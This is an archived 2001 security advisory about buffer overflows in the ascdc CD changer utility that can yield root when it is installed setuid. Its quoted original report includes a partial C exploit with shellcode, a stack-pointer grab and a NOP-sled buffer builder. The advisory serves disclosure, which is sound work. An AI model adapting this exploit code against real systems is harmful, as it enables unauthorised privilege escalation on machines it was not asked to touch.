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Category:   Application (Generic)  >   AfterStep CD Changer (ascdc) Vendors:   Malda, Rob
AfterStep CD Changer for Linux/Unix Can Give Elevated Privileges (Possibly Root Privileges) to Local Users
SecurityTracker Alert ID:  1001063
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 12 2001
Impact:   Root access via local system, User access via local system
Exploit Included:  Yes  
Version(s): ascdc-0.3
Description:   Wkit Security reports that there are multiple buffer overflows in the AfterStep CD Changer (ascdc) application that can be used to obtain elevated privileges, depending on how the application is configured.

These vulnerabilities can potentially be used to obtain root if the application is installed setuid root. Although ascdc is not installed setuid root by default, it is required to be run as root or installed setuid to be able to use the automounting feature.

Demonstration exploit code using the "-d" option is contained in the original report. Apparently, buffer overflows also exist in the "-m" and "-c" switches.

Impact:   An authorized local user could obtain elevated privileges if the application is installed to be setuid root.
Solution:   No solution was available at the time of this entry.
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Re: AfterStep CD Changer for Linux/Unix Can Give Elevated Privileges (Possibly Root Privileges) to Local Users
This is a follow-up message. The author includes demonstration exploit code using the "-c" switch.

 Source Message Contents

Subject:  ascdc Buffer Overflow Vulnerability

Hash: SHA1

TITLE:          ascdc Buffer Overflow Vulnerability
ADVISORY ID:    WSIR-01/02-06
CONTACT:, Wkit Security AB
CLASS:          Buffer Overflow
OBJECT:         ascdc (exec)
VENDOR:         Rob Malda (
REMOTE:         No
LOCAL:          Yes
VULNERABLE:     ascdc-0.3

Use this bad boy to swap CD's graphically under X. I really
got sick of using the Command Line to do this- under that *other*
OS I get a nice little clickable thing to do it.

There are multiple buffer overflows in ascdc that can be exploited to gain
root if it is installed setuid root. It is NOT installed setuid root by
default but as the README says "If you intend to use the automounting
you must either run ascdc as root, or setuid it".

I use the -d option in the exploit but overflows also exist in the -m & -c


char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
           "Would you like to play a game? y\x0aStrange, the only winning
move is not to play.\x0a";
#define bsize 600
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;
  buff = malloc(bsize);

  addr = get_sp();
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < 600/2; i++)
    buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';


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